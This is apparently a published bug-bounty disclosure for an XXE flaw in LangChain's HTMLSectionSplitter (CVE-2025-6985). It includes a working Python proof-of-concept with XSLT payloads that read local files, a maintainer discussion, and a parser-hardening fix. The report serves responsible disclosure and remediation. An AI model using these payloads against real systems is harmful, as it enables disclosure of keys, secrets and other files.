

LangChain HTMLSectionSplitter – XXE caused by unsafe XSLT parsing in [langchain-ai/langchain](#)

✓ Valid

Reported on Jul 2nd 2025

Description

The `HTMLSectionSplitter` class in `langchain-text-splitters` lets callers pass a path to an arbitrary XSLT stylesheet (`xslt_path`). Internally it loads that stylesheet with `lxml.etree.parse()` / `lxml.etree.XSLT()` without any hardening:

```

xslt_tree = etree.parse(xslt_path)           # XMLParser defaults
transform = etree.XSLT(xslt_tree)           # XSLTAccessControl not used

```

lxml version	Why it's vulnerable	Practical effect
≤ 4.9.x	External entities are resolved by default (<code><!ENTITY ... SYSTEM "file:///..." ></code>)	Classic XXE – attacker reads arbitrary local files or performs outbound HTTP(S) fetches
≥ 5.0	Entity expansion was disabled, but the XSLT <code>document()</code> function can still read any URI unless an <code>XSLTAccessControl</code> is applied	Same file-disclosure impact via <code>document('file:///...')</code>

A remote attacker who can choose or modify the XSLT file therefore gains **read-only access to any file the LangChain process can reach**, including SSH keys, environment files, source code, or cloud metadata. No authentication, special privileges, or user interaction are required, and the issue is exploitable in default deployments that enable custom XSLT.

Minimal Proof-of-Concept

```

#!/usr/bin/env python3
"""
Reproduces XXE in langchain-text-splitters.HTMLSectionSplitter
✧ Works on both lxml ≤ 4.9 (entity) and ≥ 5.0 (document()).
"""

from pathlib import Path

```

```

from tempfile import NamedTemporaryFile
from langchain_text_splitters import HTMLSectionSplitter

HTML = "<html><body><h1>demo</h1></body></html>"

# --- choose ONE payload depending on lxml version ---

# 1) Classic entity (lxml 4.9 and earlier)
ENTITY_POC = """<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [<!ENTITY etc SYSTEM "file:///etc/hostname">]>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html><body><h1>XXE</h1><pre>&etc;</pre></body></html>
  </xsl:template>
</xsl:stylesheet>"""

# 2) document() bypass (lxml 5.0+)
DOC_POC = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <html><body><h1>XXE</h1>
    <xsl:copy-of select="document('file:///etc/hostname')"/>
  </body></html>
</xsl:template>
</xsl:stylesheet>"""

payload = DOC_POC          # ← swap to ENTITY_POC if testing lxml 4.9.x

with NamedTemporaryFile("w", suffix=".xslt") as f:
    f.write(payload); f.flush()

    splitter = HTMLSectionSplitter([("h1", "H")], xslt_path=f.name)
    out = splitter.split_text(HTML)

    print("=== XXE result ===")
    for chunk in out:
        print(getattr(chunk, "page_content", chunk))

```

Expected result

Running the script prints the contents of `/etc/hostname` (or any other file you reference) inside the transformed HTML, confirming arbitrary file disclosure.

Impact

Impact

- **Confidentiality – High:** Allows attackers to download any file readable by the LangChain process: SSH/TLS keys, `.env` secrets, source code, configuration, cloud instance metadata, etc.

- **Integrity / Availability – None:** The exploit is read-only; it does not modify data or crash the service.
- **Attack prerequisites:** Only the ability to supply or influence the `xslt_path` —common in document-processing pipelines, user-uploaded templates, or dynamic XSLT generation.

Occurrences

 `html.py` L437-L466

 We are processing your report and will contact the [langchain-ai/langchain](#) team within 24 hours. 7 months ago



A [langchain-ai/langchain](#) maintainer has acknowledged this report 7 months ago

 The scheduled publication date was automatically extended from 30th Sep 2025 to 7th Oct 2025 due to the maintainers acknowledgement of the report 7 months ago



Eugene Yurtsev commented 7 months ago

Maintainer

Could you confirm that the default xslt file is safe?

Exploit is relying on a malicious payload for the xslt file. The odds of an attacker gaining access to this file are low. It's unlikely to be exposed in a document processing pipeline. In practice: (1) relatively few users know what xslt is so it's unlikely to end up being a part of a template / document processing pipeline, (2) developer would need to both accept the content and write a file to disk.

I'm not particularly concerned about this as a pathway for attack. What mitigation do you propose for this?

For the reasons states above I'm OK:

- just documenting this.
- making a breaking change and disallowing the path as an input



Cole Murray commented 7 months ago

Researcher

Thanks for the quick follow-up, agreed.

- **Default XSLT is safe**, but if it's ever replaced/overwritten the same XXE applies.
- **Dropping** `xslt_path` removes the easiest abuse path, **but we should still harden the parsers** to future-proof any internal XSLT use:

```
html_parser = etree.HTMLParser(no_network=True)           # blocks network fetches
xslt_parser = etree.XMLParser(
    resolve_entities=False, no_network=True, load_dtd=False
```

```
)  
ac = etree.XSLTAccessControl.DENY_ALL
```

```
# blocks file & network I/O
```

That keeps behavior unchanged for normal users while closing the edge-case gap entirely.
Happy to send a small PR with those lines.



Eugene Yurtsev commented 7 months ago

Maintainer

Awesome could you PR this directly against the public repo and can do it in draft mode?



Eugene Yurtsev validated this vulnerability 7 months ago

\$ **colemurray** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2025-6985 assigned to this report. 7 months ago



Cole Murray commented 7 months ago

Researcher

Pull request in draft mode created here: <https://github.com/langchain-ai/langchain/pull/31819>



Cole Murray commented 7 months ago

Researcher

fix has been merged into master <https://github.com/langchain-ai/langchain/pull/31819>



We have sent a warning to the **langchain-ai/langchain** team to inform them that this report will be published in 48 hours 4 months ago



We have notified the **langchain-ai/langchain** maintainers about this report in their weekly follow-up 4 months ago



This vulnerability has now been published 4 months ago



CVE-2025-6985 has now been published 4 months ago

[Sign in](#) to join this conversation

Published

Vulnerability Type

CWE-611: Improper Restriction of XML External Entity Reference

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

0.3.8

Visibility

Public

Status

Awaiting fix

Found by



Cole Murray

@colemurray

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)